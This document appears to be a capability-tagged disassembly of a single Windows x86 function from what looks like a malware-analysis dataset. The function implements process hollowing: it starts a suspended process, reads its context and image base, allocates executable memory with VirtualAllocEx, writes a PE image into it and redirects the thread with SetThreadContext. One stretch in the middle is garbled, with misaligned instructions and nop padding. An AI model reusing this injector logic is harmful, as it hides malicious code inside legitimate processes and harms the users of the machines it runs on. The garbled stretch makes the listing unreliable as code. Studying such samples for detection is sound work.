Function at 0x458a98
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Print debug messages

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe94
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404dec
xor eax, eax
push ebp
push 0x458e74
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
push 0x458e88
call sub.kernel32.dll_OutputDebugStringA
cmp dword [ebp - 4], 0
je 0x458e5e
xor ecx, ecx
push ebp
push 0x458e4f
push dword fs:[ecx]
mov dword fs:[ecx], esp
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 8]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 8]
call fcn.00458a24
mov dword [ebp - 0x14], eax
push 0x40
push 0x1000
mov eax, dword [ebp - 0x14]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x458b26
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x458e5e
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0x54]
mov edx, dword [ebp - 0x30]
lea esi, [edx + 0x18]
mov edx, dword [ebp - 0x30]
movzx edx, word [edx + 0x14]
add esi, edx
mov edx, dword [ebp - 0x30]
movzx edi, word [edx + 6]
dec edi
test edi, edi
jb 0x458b64
inc edi
xor ebx, ebx
lea edx, [ebx + ebx*4]
cmp eax, dword [esi + edx*8 + 0x14]
jbe 0x458b60
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 0x14]
inc ebx
dec edi
jne 0x458b50
mov ecx, eax
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1c]
call fcn.00407914
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + 0x38]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0x54]
call fcn.00458a04
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x30]
movzx edi, word [eax + 6]
dec edi
test edi, edi
jb 0x458c06
inc edi
xor ebx, ebx
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 0x10]
test eax, eax
jbe 0x458be0
lea edx, [ebx + ebx*4]
cmp eax, dword [esi + edx*8 + 8]
jbe 0x458bb2
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 8]
lea edx, [ebx + ebx*4]
mov edx, dword [esi + edx*8 + 0x14]
add edx, dword [ebp - 8]
mov ecx, eax
mov eax, dword [ebp - 0x1c]
call fcn.00407914
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 8]
mov edx, dword [ebp - 0x30]
mov edx, dword [edx + 0x38]
call fcn.00458a04
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
jmp 0x458c02
lea eax, [ebx + ebx*4]
cmp dword [esi + eax*8 + 8], 0
je 0x458c02
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 8]
mov edx, dword [ebp - 0x30]
mov edx, dword [edx + 0x38]
call fcn.00458a04
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
inc ebx
dec edi
jne 0x458b97
lea eax, [ebp - 0x140]
mov edx, 0x44
call fcn.0040791c
lea eax, [ebp - 0xfc]
mov edx, 0xcc
call fcn.0040791c
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x140]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404dfc
push eax
push 0
call fcn.00406d80
test eax, eax
je 0x458e45
mov dword [ebp - 0xfc], 0x10007
lea eax, [ebp - 0xfc]
push eax
mov eax, dword [ebp - 0x14c]
push eax
call sub.kernel32.dll_GetThreadContext
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x58]
add eax, 8
push eax
mov eax, dword [ebp - 0x150]
push eax
call sub.kernel32.dll_ReadProcessMemory
mov ebx, dword [ebp - 0x2c]
jmp 0x458ca9
cmp dword [ebp - 0x15c], 0x10000
je 0x458cc3
add ebx, dword [ebp - 0x160]
push 0x1c
lea eax, [ebp - 0x16c]
push eax
push ebx
mov eax, dword [ebp - 0x150]
push eax
call sub.kernel32.dll_VirtualQueryEx
test eax, eax
jne 0x458c97
sub ebx, dword [ebp - 0x2c]
mov dword [ebp - 0x28], ebx
xor eax, eax
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x14]
jb 0x458cfd
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0x34]
cmp eax, dword [ebp - 0x2c]
jne 0x458cfd
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x24]
push ecx
push 0x40
push edx
push eax
mov eax, dword [ebp - 0x150]
push eax
call 0x14070e0
add byte [eax + 0x458ea868], dl
add al, ch
shl edx, 0xfa
dec dword [ebx - 0x6f247a28]
push 0x458ea8
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
test ebx, ebx
nop
push 0x458eb4
inc byte [esp]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
call fcn.00406ee0
mov esi, eax
mov dword [0x48fcb8], esi
test esi, esi
jne 0x458d44
push ebx
call sub.kernel32.dll_FreeLibrary_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x458e5e
mov eax, dword [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x150]
push eax
call dword [0x48fcb8]
test eax, eax
jne 0x458d7a
push 0x40
push 0x3000
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0x150]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jbe 0x458e45
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x58]
add eax, 8
push eax
mov eax, dword [ebp - 0x150]
push eax
call fcn.00407118
push 0x458ecc
call sub.kernel32.dll_OutputDebugStringA
push 0x1388
call fcn.004070b0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x150]
push eax
call fcn.00407118
test eax, eax
je 0x458e37
mov dword [ebp - 0xfc], 0x10007
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x2c]
jne 0x458df8
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0x34]
mov edx, dword [ebp - 0x30]
add eax, dword [edx + 0x28]
mov dword [ebp - 0x4c], eax
jmp 0x458e03
mov edx, dword [ebp - 0x30]
mov edx, dword [edx + 0x28]
add edx, eax
mov dword [ebp - 0x4c], edx
lea eax, [ebp - 0xfc]
push eax
mov eax, dword [ebp - 0x14c]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0x14c]
push eax
call fcn.00407050
xor edx, edx
cmp edx, 0xffffffff
jne 0x458e2c
cmp eax, 0xffffffff
je 0x458e45
mov dword [ebp - 0xc], 0xffffffff
jmp 0x458e45
push 0
mov eax, dword [ebp - 0x150]
push eax
call fcn.004070c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x458e5e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x458e7b
lea eax, [ebp - 4]
call fcn.0040493c
ret